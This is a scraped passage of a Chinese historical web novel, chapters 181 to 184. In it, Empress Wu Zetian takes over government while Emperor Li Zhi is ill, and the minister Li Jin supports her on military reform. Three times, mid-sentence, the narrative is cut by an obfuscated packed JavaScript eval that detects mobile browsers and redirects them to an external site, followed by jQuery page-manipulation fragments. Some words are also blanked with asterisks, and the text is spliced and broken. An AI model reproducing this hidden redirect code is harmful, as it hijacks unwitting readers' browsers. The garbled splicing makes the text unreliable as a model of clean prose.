绝对静养,不可劳心费神。这八个字,像重锤一样敲在武则天心上,也决定了未来很长一段时间朝局的走向。她闭了闭眼,再睁开时,已是一片决然:“本宫知道了。你们务必竭尽全力,用最好的药,最稳妥的针法,务必让陛下早日苏醒。陛下安危,系于尔等一身!”
“臣等必竭尽全力!”太医们伏地叩首。
接下来的几天,整个大明宫都笼罩在一片压抑之中。李治在昏迷一天一夜后,终于悠悠转醒,但状况极差。头痛欲裂,视线模糊,甚至有一段时间完全失明,之后虽恢复了些许光感,但看东西已是重影。四肢无力,需要人搀扶才能勉强坐起片刻。更糟糕的是,他变得异常畏光和畏声,稍有强光或大些的声响,就会引发剧烈的头痛和呕吐。
他彻底无法处理政务了。甚至连阅读简短奏章都难以做到,看不上几行字便头晕目眩。说话也气若游丝,断断续续。曾经那个虽体弱但依旧试图掌控一切的帝王,如今只能虚弱地躺在厚厚的帷帐之后,忍受着病痛的折磨和无能为力的煎熬。
朝政却不能停滞。帝国庞大的机器每日都在产生无数需要决断的事务。边关的军报,地方的灾情,官员的任免,财政的收支,刑狱的裁决……以往,这些最终会汇聚到皇帝的案头,由他朱批定夺。如今,这个最高决策者倒下了。
最初的几天,重要的政务被送到蓬莱殿,由内侍诵读,武则天在一旁听取,然后轻声与帐幔后的李治商议,再以皇帝的口吻下达旨意。但这个过程对李治而言痛苦而低效,往往说不了几句就疲惫不堪,头痛加剧。而一些不那么紧急但同样重要的事务,则堆积在了政事堂。
很快,一个默契的、未经明言但所有人都心知肚明的安排形成了:皇后武则天,开始更深入、更直接地接手政务。
首先,她以皇帝需要绝对静养为由,下令所有奏章文书,先送呈她过目。她会先进行批阅,提出处理意见,形成“批条”,然后再将最重要的、或她难以决断的,连同“批条”一起,送到李治榻前,用最简略的方式告知,获得皇帝含糊的点头或“嗯”、“可”之类的回应后,便以皇帝的名义下发执行。到后来,连这个形式也渐渐简化,许多事务,只要不是涉及皇位继承、对外征伐、三品以上高官任免等最核心的几项,她直接批红处理,事后才择要向李治“汇报”。
其次,政事堂的宰相会议,她开始频繁“垂询”。最初是派宦官去听取会议概要,后来逐渐变成在偏殿设一纱帘,她坐在帘后,直接听取宰相们议政,并随时发问、指示。许敬宗、李义府等后党成员自然积极拥护,刘仁轨、上官仪等相对中立或对皇后理政心有疑虑的宰相,在皇帝病重、太子年幼的现实下,也无法公然反对皇后“暂摄”政务——毕竟,国事不能停摆。况且,武则天处理政务展现出的精明、果决和效率,也让他们暗暗心惊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023090|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不得不承认,这位皇后确有治国的才能。
再次,她通过北门学士,牢牢掌握着诏敕的起草和信息的传递。北门学士的成员,如元万顷、刘祎之、范履冰等人,实际上成为她的私人秘书班子,许多重要的决策和人事意图,都通过他们起草的诏书得以体现。
朝堂之上,渐渐形成了一种新的常态:皇帝陛下沉疴在身,需长期静养;皇后殿下贤明果决,代掌国政;太子殿下(李弘)虽已成年,参与一些政务学习,但显然还不足以独当一面;而宰相们则在皇后的主持下,维持着朝廷的运转。
在这新的权力格局中,有一个人位置微妙而重要——梁国公、同中书门下三品、知枢密院事李瑾。
他没有像许敬宗那样明显地依附于皇后,也未曾对皇后理政表示过公开的拥护或反对。他依旧每日前往枢密院署理公务,神策军的筹建、边镇防务的调整、军制改革的细化方案,一切都在有条不紊地推进。他也会按时前往蓬莱殿“探病”,隔着帘幔向皇帝简单汇报军政要务(虽然李治大多时候只是听着,偶尔含糊应一声),表现出对皇帝的绝对忠诚和尊崇。
同时,对于皇后过问的军政事务,只要是符合制度、有利于国事的,他也都给予充分的配合和尊重。在政事堂会议上,当皇后垂询时,他发言严谨客观,就事论事,既不过分逢迎,也无刻意疏离。在神策军将领的任命、边镇轮防的调度等具体事务上,他严格执行枢密院制度——拟定人选或方案,呈报(名义上是给皇帝,实际上多由皇后代决)。当皇后提出不同意见时,只要不违背基本原则,他也能从善如流。
他就像一枚定盘星,在皇帝病重、皇后崛起的微妙时刻,以其特殊的身份(皇帝信任的军事改革主持者,位高权重的宰相之一)和务实的态度,稳住了军方,也间接支撑了朝局的平稳过渡。许多观望的、心中忐忑的文武官员,看到李瑾如此“正常”地履行职责,既不与皇后对抗,也不谄媚依附,心中的不安也稍稍减轻。毕竟,连最敏感的军权,都在按部就班地改革运行,似乎也说明了局势仍在可控范围。
这一日,李瑾从枢密院出来,再次前往蓬莱殿“请安”。殿内药味浓重,帘幕低垂。李治半靠在榻上,双目紧闭,脸色在昏暗的光线下更显蜡黄。武则天坐在榻边不远处,正在翻阅一本奏章。
听到通报,李治微微睁开眼,视线模糊地朝李瑾的方向“看”了一眼,喉咙里发出一点声响,算是回应。武则天则放下奏章,对李瑾点了点头,目光平静无波。
李瑾如常行礼,简要汇报了神策军首批士卒已开始正式操练新式阵法的进展,以及安西、陇右冬防的安排。李治只是偶尔“嗯”一声,几乎说不出完整的话。
汇报完毕,殿内陷入一片沉寂,只有李治有些粗重的呼吸声。良久,武则天轻轻叹了口气,对李瑾道:“梁国公辛苦了。陛下龙体欠安,军政大事,还要你多多费心。枢密院所奏之事,陛下与本宫皆已知晓,就按章程去办吧。遇有不决,可随时入宫禀奏。”
“臣遵旨。此乃臣分内之事,不敢言辛苦。唯愿陛下早日康健。”李瑾躬身道,语气恭谨。
退出蓬莱殿,深秋的凉风拂面。李瑾回头望了一眼那被重重帘幕和药气笼罩的宫殿,心中明白,一个时代正在悄然改变。皇帝的病,比他预想的还要沉重。而那个坐在榻边的女人,正在以无可阻挡的姿态,一步步走向帝国权力的最前台。
平衡已被打破,新的格局正在形成。而他,需要在这新的棋局中,重新找到自己的位置和步法。至少目前,专注于“知枢密院事”的本职,练好新军,推进军改,是无论对卧病的皇帝,还是对理政的皇后,亦或是对这大唐天下,都最为稳妥和有益的选择。
他紧了紧身上的披风,迈步走入渐起的暮色之中。身后,蓬莱殿的灯火,在越来越浓的夜色里,显得格外明亮,也格外孤清。
第182章 天后垂帘听
李治的病,如同深秋最后一场寒雨,将大明宫笼罩在一种挥之不去的阴郁和不确定之中。最初的慌乱过去后,庞大的帝国机器依旧要运转。在最初的十天半月里,朝臣们还抱着“陛下只是偶感不适,不日即可康复”的期望,但当日复一日的朝会取消,当所有重要奏章不再送往皇帝寝宫而是直达皇后所居的立政殿,当皇后的批红“制曰可”越来越频繁地代替了皇帝的朱批“敕旨”,所有人都明白了一个事实:陛下这次,恐怕真的病来如山倒了。
国,不可一日无君。而“君”若无法视事,则必须有人代行其权。太子李弘已年近二十,按照礼法,皇帝有疾,太子监国乃是正理。然而,李弘虽已加冠,也时常在崇文馆听讲,甚至偶尔被允许旁听政事堂会议,但他毕竟年轻,性情仁弱,更兼身体也不算强健,更重要的是,在皇帝突然病重、朝局微妙、内外政务千头万绪的这个关口,无论是病榻上的李治,还是朝中的重臣,似乎都没有足够的信心,将这副重担完全交给这位年轻的储君。
于是,一个虽然未明确下诏、但已在实际运行中成为定例的局面形成了:皇后武则天,以“陛下需静养,暂摄庶务”的名义,全面接手了帝国的日常政务处理。这不再是最初几日的应急之举,而是一种常态化的、制度性的权力转移。
紫宸殿侧殿,原本是皇帝偶尔召见亲近大臣、举行小型会议的地方,如今被重新布置。御座依然空置,象征着皇帝的权威。但在御座左前方,竖起了一道轻薄而精致的明黄色纱帘。帘后,设有一张宽大的书案,案上笔墨纸砚、奏章文书堆积如山。每日辰时,武则天便会准时出现在帘后,开始她一天的工作。
首先呈到她面前的,是通进司(负责接收天下奏疏的机构)连夜整理、分类好的各地奏章。紧急军报、重大灾情、**要案、重要**建议等,会被放在最上面。她阅读的速度极快,目光扫过,便已抓住要害。时而提笔在奏章空白处写下简短批示,字迹清秀而有力,内容或为“准”,或为“驳”,或为“交某部详议”,或为“着某官核实回奏”。遇到疑难或需商议的,她会暂时搁置,放入另一摞。
处理完一批紧急文书,大约已近午时。简单的进膳后,便是“听政”时间。政事堂的几位宰相——侍中许敬宗、中书令李义府、兵部尚书兼同中书门下三品刘仁轨、黄门侍郎上官仪等,会来到紫宸殿侧殿,在纱帘前的坐席上就坐。而梁国公、同中书门下三品、知枢密院事李瑾,作为枢密院主官,凡涉及军国机要的议题,也会被召来参加。
“诸卿,今日有何要事?”帘后传来武则天平静而清晰的声音,不大,却足以让殿内每个人都听得清楚。
宰相们开始依次奏事。从河南道的水患善后,到江淮的漕运调度,再到剑南道的土司**,以及各道州县的官员考课……事无巨细,只要是需要宰相级别商议的,都会在这里提出。武则天会认真倾听,偶尔发问,问题往往切中要害。她记忆力极佳,能随口引用数日甚至数月前某份奏章中的数据或某位官员的履历,让在座的宰辅们都暗自心惊。
“关于洛州司马出缺一事,”许敬宗奏道,“吏部提了两个人选,一是原长安县令崔知温,一是原郑州长史张柬之。请皇后殿下定夺。”
武则天没有立刻回答,而是问:“此二人履历如何?政绩如何?吏部考功评等如何?”
许敬宗显然有备而来,将两人的履历、历年考课等级、主要政绩一一禀明,并略作点评:“崔知温,出身博陵崔氏,历任州县,颇有干才,尤善理财,长安县在其治下,赋税连年增加,治安亦佳,考课皆为上等。张柬之,虽出身寒微,然为官清正,不畏豪强,在郑州任上,曾力主清查隐户,增加编民,得罪当地大族,然考课亦为中上。”
帘后沉默片刻,武则天开口,声音听不出喜怒:“洛州乃东都所在,司马一职,掌判诸曹事,需得干练通达、处事圆融之人。崔知温理财是长,然其增税之法,可有苛扰百姓之处?张柬之清正是优,然其性刚直,洛州贵戚云集,恐易生事端。吏部只提此二人?”
许敬宗忙道:“此二人乃吏部铨选最优者。殿下若有疑虑,可令吏部再行推举。”
“不必了。”武则天道,“就用张柬之。”
殿内几人皆是一愣。连李瑾也微微抬眼,看向纱帘。按理说,以洛州的复杂,处事圆滑、背景深厚的崔知温似乎是更稳妥的选择。
只听武则天继续道:“洛州贵戚众多,土地兼并、隐户**之事,恐比郑州更甚。正需一张柬之这般不惧豪强、敢于任事之人,前去整饬。至于处事是否圆融,”她顿了顿,声音里带上了一丝不容置疑的意味,“只要一心为公,依律办事,何须圆融?传旨,擢张柬之为洛州司马。着其到任后,首要清查田亩户籍,抑制豪强,抚恤贫弱。若有阻挠者,无论何人,许其密奏于朕!”
“是。”许敬宗躬身应下,心中了然。皇后这是要借张柬之这把“快刀”,去斩一斩东都的“乱麻”,同时也向天下表明她重用才干、打击豪强的决心。至于可能引发的反弹?以皇后如今的手段和权威,恐怕正是她希望看到的。
接下来议论到剑南道一处土司仇杀,引发小规模骚乱之事。有宰相建议发兵震慑,有宰相建议招抚。武则天听罢,看向李瑾:“梁国公,枢密院对此有何见解?”
李瑾出列,拱手道:“回禀皇后殿下。据枢密院所接军报及职方司(兵部下辖,掌地图、边情)文书,此番骚乱,起因乃两土司争夺山林猎场,本为小事。当地汉官处置不当,偏袒一方,激化矛盾。臣以为,不宜轻易动兵。一则,大军一动,耗费钱粮,且易引起诸部恐慌,反生大变。二则,此事本可调和。臣建议,可派一精明强干、熟悉夷情之大臣,持节前往,秉公裁断,申明朝廷法度,厚赏双方头人,加以抚慰。同时,将处置不当之汉官,即行革职查办,以安诸部之心。若其仍冥顽不灵,再调临近州府兵马威慑不迟。”
他条理清晰,既考虑了军事,也考虑了**和成本,建议务实可行。
武则天在帘后微微颔首:“梁国公所言甚善。以抚为主,剿抚并用。兵者,凶器也,不得已而用之。就依此议。刘相,你看派何人前往为宜?”
刘仁轨略一思索,道:“臣举荐益州长史裴行俭。此人曾任安西都护,熟知边情,处事公允,且有胆略,可当此任。”
“准。”武则天当即拍板,“拟诏,授裴行俭为剑南道宣慰使,持节前往处置。另,着吏部、刑部,即刻核查当事汉官,严惩不贷。”
一件可能引发边患的麻烦事,就在这片刻商议中**净利落地定下了处理方略。效率之高,令在座的几位老成持重的宰相都暗自叹服。这位皇后处理政务,不仅敏锐果决,而且善于听取专业意见,尤其是李瑾在军事边务上的建议,她似乎颇为倚重。
处理完宰相们带来的政务,武则天会单独留下李瑾,询问枢密院及神策军的一应事宜。从新兵操练进度,到军械甲仗打造,再到边镇轮防调整,事无巨细,她都要过问。李瑾也一一禀报,绝无隐瞒。
“神策军招募,反应如何?”她问。
“回殿下,布告发出,应者云集。关中、河东、河南诸道,报名者远超预期。现已按章程,择优录得五千余众,皆年富力强,略通武艺。目前正在昆明池大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023091|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
营加紧操练基础队列、阵型及弓马。首批火器已拨付部分,正训练操作。预计开春前,可初步成军。”
“粮饷器械,可曾短缺?”
“户部、兵部、将作监协同,目前尚能支应。然若按计划,明年需扩军至两万,则钱粮耗费剧增。臣已命度支司会同枢密院计曹,详拟后续预算,不日将呈报御前及政事堂。”
武则天点点头:“此事关乎新制成败,不可吝惜钱粮。然亦需精打细算,杜绝虚耗。监察御史入驻后,账目务必清晰。此军乃陛下亲手缔造之新军,亦是天下瞩目之所在,定要练成一支能战敢战、忠勇无双的劲旅,方不负陛下与本宫之望。”
“臣谨记。必当尽心竭力,练出强军,以报陛下、殿下厚恩。”李瑾肃然应道。
垂帘听政的日子,就这样日复一日地持续着。最初,朝野间还有不少疑虑和私下非议。毕竟,女主当国,牝鸡司晨,在绝大多数士大夫眼中,仍是有违“祖宗成法”和“圣人之道”的。但随着时间的推移,人们惊讶地发现,在这位皇后的主持下,帝国非但没有陷入混乱,反而运转得更加高效、有序。
冤狱得到**(武则天以此收揽人心),渎职官员被查处,有才干的官员得到提拔(不论出身,唯才是举),各地的灾情也能得到及时有效的赈济。她批阅奏章常常至深夜,第二天依旧精神奕奕地出现在帘幕之后。她记忆力惊人,能记住无数官员的名字和事迹,赏罚分明。她处事果断,许多积压的难题在她手中都能迅速找到解决之道。甚至对于一些复杂的法律条文和典故,她也能信手拈来,让许多以学问自矜的老臣都暗自汗颜。
更让一些持观望或反对态度的大臣感到无力的是,皇后并非独断专行。她尊重宰相们的意见,尤其重视李瑾在军事上的专业判断。许多决策,都是在充分听取各方意见后做出的。虽然最终拍板的是她,但过程却符合“君臣共议”的礼法。而且,她所有以皇帝名义发出的诏令,都会在事后(如果皇帝状态稍好时)简要告知李治,并获得李治含糊的认可。这使得她的“摄政”在程序上,至少在表面上,具有了合法性。
反对的声音,在武则天高效而有力的施政,以及许敬宗、李义府等后党成员的推波助澜下,渐渐微弱下去。太子李弘虽然偶尔会参与听政,但更多时候是沉默地坐在一旁学习,很少发表意见。他的仁孝是出了名的,对母亲代父亲处理国事,似乎并无不满,甚至有些如释重负——他自知能力与威望皆不足,难以承担如此重担。
慢慢地,“皇后殿下”这个称呼,在朝臣们的口中,渐渐多了一丝真正属于统治者的敬畏。而那道紫宸殿侧殿的明黄纱帘,也成为了帝国权力中枢的新象征。没有人再公开质疑皇后处理政务的资格,因为事实摆在眼前:在她治理下的帝国,一切都在正常、甚至更好地运转。而病重的皇帝,需要这份“正常”。
李瑾每日出入宫禁,往来于枢密院和紫宸殿之间,将这一切变化看在眼里。他知道,一个时代已经悄然开启。他依旧恪守着臣子的本分,专注于自己的职责,在军事领域为这位日益显示出雄才大略的皇后提供着专业的支持,同时,也以自己低调务实的存在,微妙地平衡着各方视线,尤其是军方的视线。
天后垂帘,乾坤独断。这帘幕之后的身影,正以前所未有的深度和广度,将自己的意志,烙印在这个庞大的帝国之上。而李瑾,则在这新的格局中,默默扮演着自己既定的角色,同时警惕地观察着,等待着。他知道,平静的水面之下,暗流从未停止涌动。皇帝的病,是最大的变数。而太子,那位日益成长的储君,又将在这棋局中,走向何方?
第183章 批红如流水
腊月将至,长安城笼罩在一年最凛冽的寒意中。天尚未亮透,东方只露出一线鱼肚白,大明宫各处殿宇的轮廓还隐在深青色的晨霭里。然而,立政殿的东暖阁早已灯火通明。炭盆烧得正旺,驱散了侵入骨髓的寒冷,却驱不散堆积如山的奏章所散发出的、墨迹与纸张特有的沉重气息。
武则天端坐在宽大的紫檀木书案后,身上披着一件玄色狐裘,衬得她面容愈发白皙,神情沉静。案头左右,两座三尺高的错金铜烛台上,儿臂粗的蜡烛静静燃烧,将她的身影投在身后绘有凤穿牡丹的屏风上,拉得很长。她没有佩戴繁复的凤冠,只用一根简单的玉簪绾住发髻,几缕碎发垂在颊边,更显得专注。她面前摊开着数份摊开的奏疏,左手边是已批阅完毕、用黄绫覆盖的一摞,右手边是待处理的更高一摞,几乎要与她端坐的身形齐平。她的目光快速扫过奏疏上的文字,时而凝神细看,时而提笔蘸墨,在奏疏的空白处或末尾写下批语。笔尖在纸上划过的沙沙声,是这空旷殿宇里唯一的声响,规律而迅疾,带着一种不容置疑的力量。
侍立在一旁的,除了几位屏息静气的宫女,还有两位身着绿色官袍的北门学士——著作郎元万顷和左史刘祎之。他们负责将通进司送来的奏章初步分类、摘要,将最紧要的放在最上方,并准备好相关的背景文书、旧例档案,以备皇后随时查询。此刻,他们也垂手而立,眼观鼻,鼻观心,不敢有丝毫打扰。
“宣州、歙州今秋蝗灾,请求减免税赋,开仓放粮……”武则天看着手中一份奏疏,声音平静地念出关键信息,这是宣歙观察使的急报。她略一沉吟,笔尖已动:“准。着户部即核减两州今岁租调之半,令宣歙观察使开常平仓赈济,严查胥吏克扣,安抚灾民,勿使流徙。另,着工部员外郎张文琮为巡察使,赴宣歙,督责补种冬麦、修葺水利事宜,以御来年。”
批完,将奏疏递给元万顷。元万顷接过,迅速扫了一眼批语,心中暗赞。不仅准了减免赈济,还考虑到防止胥吏盘剥、灾民流散,更指派专员督办灾后恢复生产,思虑周全,且直接指定了人选(张文琮以干练著称),效率极高。
下一份,是御史台**汴州刺史李怀远“贪黩无状,纵容亲属强占民田,私增赋敛”的奏章,附有粗略查证的材料。
武则天眉头微蹙,仔细看了弹章和附证,指尖在“强占民田、私增赋敛”几字上轻轻敲了敲。汴州地处漕运要冲,地位紧要。李怀远她有些印象,出身宗室旁支,能力平平,但似乎与某位宰相有些拐弯抹角的姻亲关系。
“刘祎之,”她忽然开口,声音不大,却让凝神记录的刘祎之一个激灵。
“臣在。”
“去岁考功,汴州列为中下,刺史李怀远评语为何?”
刘祎之不敢怠慢,他记忆力极好,略一回想便道:“回殿下,去岁汴州考功语为‘治下平平,漕运无失,然吏治稍懈,民有微词’。”
“吏治稍懈,民有微词……”武则天重复了一句,嘴角泛起一丝冷意,“看来不是稍懈,是懈到骨子里,民不止微词,是怨声载道了。”她提笔,在弹章上批道:“御史风闻奏事,然事关刺史、民田赋税,不可不察。着刑部、御史台、大理寺,即刻派员组成三司使,赴汴州暗访详查。若所劾属实,李怀远即刻革职,锁拿进京,交三司严审,家产抄没,赔偿被占田亩、多征赋税之民。涉事亲属、胥吏,一体究办,不得宽纵。若查无实据,或事出有因、情有可原,亦需明确回奏,不得诬枉。”
批示清晰,程序严密,既给了查证的机会(体现慎重),又预设了严厉的惩罚(体现决心),更指明了查案的原则(不得诬枉)。元、刘二人相视一眼,皆从对方眼中看到一丝凛然。皇后处理此类贪腐案件,手段向来是雷厉风行,且往往能抓住要害。这汴州刺史,怕是凶多吉少。
接着是一份关于西域商路的奏疏,来自安西大都护王方翼。奏报吐蕃平定后,丝绸南道、中道商旅渐复,然北道(天山北路)因西突厥别部**,时有马贼滋扰,商队受损,请求增兵清剿,并建议在庭州以西增设两个守捉城,保护商路,收取商税,以边养边。
武则天仔细看了两遍,尤其关注王方翼对增设守捉城的位置、兵力、钱粮预算的估算。她沉吟片刻,没有立刻批示,而是对元万顷道:“这份留中。午后召梁国公、兵部尚书、户部尚书来议。”
涉及边防军事、兵力调动和财政支出,她虽有自己的判断,但仍决定听取专业大臣,尤其是李瑾的意见。这是她摄政以来逐渐形成的习惯,也是在重大军国事务上表现出的审慎。
一份又一份奏疏在她手中流过,吏部的官员铨选、户部的钱粮度支、礼部的科举筹备、工部的水利工程、刑部的疑难案件……事无巨细,从帝国中枢的决策,到偏远州县的具体**,都在她的笔下得到批复。她的批语,有时只有寥寥数字“准”、“再议”、“驳”,有时则长达数十字甚至上百字,详细阐明缘由、指示方略、指定人选。她似乎不知疲倦,目光锐利,思维敏捷,记忆力更是惊人,能随口说出数月甚至数年前某地某官的政绩或过失,能与档案中的记录相互印证。
“这份陕州请求修缮黄河旧堤的奏疏,预算为何比去岁同州修堤高出三成?工部核过没有?”她指着一份奏章问。
刘祎之忙翻出工部附上的复核意见:“回殿下,工部复核认为,陕州堤段地基为流沙,需多打木桩,且石料需从百里外运输,故造价略高。但其预算所列石料单价,似与将作监市价有异,已批回要求重新核实报价。”
“不是略高,是过高。”武则天摇头,提笔批道:“防洪固堤,国之要务,然钱粮亦需慎用。着将作监派熟谙工料之官员,会同陕州、工部,实地勘测核算,重拟切实预算上奏。若确需此数,准;若有虚浮,严查经办官吏。另,可着陕州就近征用民夫,以工代赈,既可节省开支,亦可安辑百姓。”
批完,她揉了揉有些发涩的眉心,接过宫女奉上的参茶,抿了一口。目光落在下一份奏疏上,这是来自剑南道的一件民间讼案上诉,案情复杂,涉及当地豪强与平民的田产**,州县审理不清,闹到了道衙,观察使难以决断,只好上报中央。
这种民间细事,本不需直达天听,但既然报上来了,她也未轻视。仔细阅读了案卷摘要,发现其中关节在于一份年代久远、字迹模糊的地契真伪,以及数名关键证人的证词互相矛盾。
“元万顷。”她放下茶盏。
“臣在。”
“你去查一下,大理寺或刑部,近年可有擅长辨别笔迹、勘验旧契的老吏?若能找到,着其携工具,赴剑南协助勘验此契。再,着剑南观察使,将数名证人分别隔离,详细重录口供,注意供词前后细节是否一致。告诉观察使,此案虽小,关乎民心向背,务必公正详查,勿枉勿纵。若当地豪强确有倚势欺人,严惩不贷;若平民诬告,亦需明正典刑。审结后,详文上报。”
“臣遵旨。”元万顷心中佩服。皇后连这等民间诉讼也如此细致,不仅给出了具体查案方法(笔记鉴定、隔离讯问),还点明了此案的**意义(民心向背),更要求了结果反馈。这种处理方式,既体现了对百姓疾苦的关心(哪怕是做样子),也彰显了朝廷法度的威严,还能让地方官不敢敷衍。
时间在批阅中悄然流逝,窗外的天色从漆黑到深青,再到露出一线灰白,最后彻底放亮。宫女轻手轻脚地更换了蜡烛,添了新炭。期间,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023092|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
武则天只短暂起身,在暖阁内踱步片刻,活动了一下有些僵硬的肩颈,便又坐回案前。
临近午时,高延福悄悄进来,低声禀报:“殿下,已近午时,是否传膳?”
“送到这里来。简单些。”武则天头也未抬,目光依旧锁定在手中的奏疏上。那是关于明年科举的一些建议,礼部提出了增加明算、明法科录取名额的提议,认为国家需才,不应独重进士明经。
她仔细看着礼部的陈述,沉思良久。最终,她提笔批道:“取士之道,在得贤才,而非拘泥常科。明算、明法,实乃经世致用之学,可适当增加名额,然进士、明经,乃文章道德之本,未可轻废。着礼部详议,拟定具体员额、考试章程,务求公平,选拔真才。另,可令国子监、弘文馆,加强对算学、律学之教授。”
她并未完全采纳礼部大幅增加明算、明法科的建议,而是采取了折中、渐进的态度,既承认实用学科的重要性,又维护了传统儒学的根本地位,同时要求完善选拔机制和加强人才培养。批示既务实,又平衡,考虑到了朝中可能的不同意见。
简单的午膳后,略作休息,她便又投入工作。下午,先是与几位宰相在紫宸殿侧殿帘后议事,处理了几件需要集体商议的要务,包括王方翼关于西域商路的奏请。李瑾、兵部、户部官员被召来,经过一番讨论,最终采纳了王方翼的大部分建议,但在兵力数量和筑城经费上做了削减,要求其“先建一城,看护商道,实效显后再议第二城”,体现了量力而行的原则。
议政结束,宰相们退下。李瑾被单独留下片刻,汇报了神策军冬训情况及来年预算草案要点。武则天听得认真,问了几个关键问题,对预算中几项较大的开支提出了质疑,要求枢密院“再行核算,务求减省”,但总体上对新军的进展表示了肯定。
直到宫灯初上,暮色四合,最后一叠重要的奏疏才批阅完毕。武则天终于放下笔,长长舒了一口气,靠在椅背上,闭目养神。整整六个时辰,她处理了超过两百份奏疏,做出了无数或大或小的决策。她的手腕因长时间书写而微微酸痛,眼睛也有些干涩,但精神却依旧亢奋。
“今日就到这里。将这些发还通进司,转交各部及诸道。”她指了指批阅好的奏疏,声音带着一丝疲惫,但依旧清晰。
“是。”元万顷和刘祎之躬身应道,指挥内**堆积如山的奏章小心搬走。他们二人也已是身心俱疲,但心中对皇后的精力和能力,只有更深的敬畏。
殿内安静下来,只剩下炭火偶尔发出的噼啪声。武则天独自坐在巨大的书案后,身影在烛光中显得有些孤单,却又无比坚实。她望向窗外沉沉的夜色,目光深邃。
批红如流水,决断似风雷。这帝国每日产生的无数纷繁事务,就在她笔下,化作一条条具体的政令,发往四面八方,影响着千万黎民的生活,维系着这庞大王朝的运转。没有人知道她为此付出了多少心血,承受着多大的压力。朝臣们或许会私下议论她“牝鸡司晨”,或许会惊叹于她的精力与明断,或许会不满于她的专权与严苛。但无论如何,他们都不得不承认一个事实:在这位皇后的治理下,帝国这台机器,正以前所未有的效率精确地运行着。皇帝的病榻,并未让这架机器有丝毫停摆,反而似乎……运行得更加顺畅了。
而这一切,都被每日出入宫禁、参与核心机密的李瑾看在眼里。他比旁人更清楚地感受到,那道垂帘之后所蕴含的意志和能量。这“批红如流水”的背后,不仅仅是一个女人的勤政,更是一种强大的、不容置疑的统治力的彰显。他必须更加谨慎,也更加努力,才能在这新的权力格局中,既履行好职责,又保全自身,并为心中的某些想法,留下种子。
第184章 用人之道明
腊月的严寒,封冻了渭水,却封不住帝国都城长安的暗流与生机。在武则天“垂帘听政”、批红理政的权威日益稳固之际,一场更为深远、也更为根本的权力布局,正以**为棋局,悄然展开。她深知,若要长治久安,仅靠个人精力与权术驾驭庞大的官僚机器是远远不够的,必须有一批忠诚、干练、且能打破旧有利益格局的新鲜血液,注入帝国的血脉之中。而选拔、提拔这样的官员,正是她“用人之道”的核心体现。
这一日,紫宸殿侧殿的纱帘之后,气氛与往日讨论具体政务时略有不同。书案上摊开的,并非紧急军报或地方奏疏,而是厚厚几摞官员的履历档案、历年考课记录,以及吏部呈报的明年春闱(注:唐代科举考试一般在春季举行,称“春闱”)预备名单。武则天面前,侍中许敬宗、吏部尚书卢承庆正襟危坐,就明年开春后一批即将任期届满的外州刺史、朝中部分紧要职位出缺的人选,进行奏对。
武则天翻阅着一份履历,眉头微蹙:“这个曹州刺史,连续三年考课中下,去岁治下更有饥民流徙至河南,奏疏中却只言年景不好,不思己过。此等庸碌之辈,岂可再牧民一方?”
卢承庆忙道:“殿下明鉴。曹州刺史王珪,乃太原王氏旁支,其族在朝中……稍有根基。且其任官多年,未有大过,吏部循例,拟平调至闲散职位。”
“未有大过?”武则天放下履历,声音平淡,却带着一丝冷意,“为官一任,不能造福一方,使百姓流离,便是大过!朝廷设官分职,非为安置庸碌,乃为治理天下。若只因出身、资历便可尸位素餐,要这考课之法何用?要这吏部何用?”
卢承庆额头见汗,连声道:“殿下教训的是,是臣等失察。只是……若骤然贬黜,恐……”
“恐什么?恐世家物议?恐朝堂非议?”武则天目光扫过卢承庆,又瞥了一眼垂目不语的许敬宗,“朝廷用人,首重才干德行。无才无德,徒以门荫窃据高位,乃国之大弊。此风,不可长。”
她提笔,在那份履历上划了一道,干脆利落:“王珪,罢刺史职,左迁为某州别驾。若再有失,永不叙用。曹州刺史人选,着吏部于今科举子、或现任县令中,择其政绩卓异、素有清名者,速拟三人,报来本宫定夺。”
“是。”卢承庆暗暗吸气,知道皇后这是要动真格,打破论资排辈和门荫庇护的旧**了。
“还有这几人,”武则天又指向另一摞档案,“皆是地方州县长吏,考课连续三年上等,或任内兴修水利,劝课农桑,户口增益,或肃清盗匪,狱讼清简。此等干才,岂可久居下僚?吏部当擢升重用,或调任大州,或迁入朝中要害部门历练。”
许敬宗此时接口道:“殿下圣明。为国抡才,自当赏罚分明,黜庸拔能。只是……若擢升过速,恐寒门骤贵,难孚众望,亦恐其不谙中枢事务。”
